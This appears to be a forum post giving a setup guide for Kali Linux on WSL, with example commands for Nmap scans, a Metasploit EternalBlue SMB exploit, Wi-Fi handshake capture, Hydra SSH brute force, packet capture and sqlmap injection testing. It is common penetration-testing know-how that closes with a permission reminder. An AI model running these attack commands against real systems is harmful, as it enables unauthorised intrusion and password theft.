

Forum:[Hack Forums](#)

Thread: [Kali with WSL: Setup & TTP](#)

Tyr - November 24, 2024, 11:20 am

KALI AND WSL: USEFUL GUIDE AND COMMANDS

1. Setting Up Kali Linux on WSL

- Install Kali Linux on WSL: Open PowerShell as Administrator and run:

Code `wsl --install -d kali-linux-` Update and Upgrade Kali Linux:

Code `sudo apt update && sudo apt upgrade -y`

2. Installing Essential Tools

Many Kali tools are not pre-installed in WSL. Use ``kali-linux-large`` or install individual packages:

- Install the complete toolset:

Code `sudo apt install kali-linux-large-` Install specific tools (e.g., Nmap):

Code `sudo apt install nmap`

3. Running GUI Tools

WSL supports GUI apps (Windows 11 or Windows 10 build 21364 or later).

- Install Wireshark:

Code `sudo apt install wireshark-` Run the GUI:

Code `wireshark` Enable root privileges for packet capture:

Code `sudo dpkg-reconfigure wireshark-common`

`sudo usermod -aG wireshark $USER` Restart your WSL session for changes to apply.

4. Examples of Common Tools

a. Nmap

Nmap is a network scanning tool.

- Scan a local network for active devices:

Code `sudo nmap -sn 192.168.1.0/24-` Identify open ports and services on a host:

Code `sudo nmap -sV 192.168.1.101`

b. Metasploit Framework

Metasploit is a penetration testing framework.

- Install Metasploit:

Code `sudo apt install metasploit-framework-` Launch Metasploit:

Code `msfconsole-` Example: Exploit SMB:

Code `use exploit/windows/smb/ms17_010_eternalblue`

`set RHOSTS 192.168.1.102`

`run`

c. Aircrack-ng

Aircrack-ng is used for Wi-Fi auditing.

- Install Aircrack-ng:

Code `sudo apt install aircrack-ng-` Capture handshake packets:

Code `sudo airodump-ng wlan0mon`

d. Hydra

Hydra is a password-cracking tool.

- Install Hydra:

Code `sudo apt install hydra`- Brute-force SSH login:

Code `hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.103`

e. Wireshark (CLI Version – Tshark)

Use Tshark for packet analysis when GUI is unavailable.

- Install Tshark:

Code `sudo apt install tshark`- Capture packets:

Code `sudo tshark -i eth0`

f. SQLmap

SQLmap automates SQL injection testing.

- Install SQLmap:

Code `sudo apt install sqlmap`- Test a URL:

Code `sqlmap -u "http://example.com?id=1" --dbs`

5. Enhancing the WSL Environment

- Access Windows file system:

Code `cd /mnt/c/-` Share scripts between systems via shared directories.

- Customize your shell with Zsh:

Code `sudo apt install zsh`

`sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"`

6. Troubleshooting Tips

- Networking Issues: Restart WSL network interface:

Code `wsl --shutdown`

wsl- Running as Root: Use ``sudo`` for tools requiring root privileges.

- External Wi-Fi Adapters: Use USB adapters for tools like Aircrack-ng with Hyper-V.

7. Best Practices

- Use tools only with explicit permission.

- Regularly update WSL, Kali Linux, and tools.

- Keep logs for auditing during penetration testing.

With these examples, you can use Kali Linux tools through WSL effectively and ethically!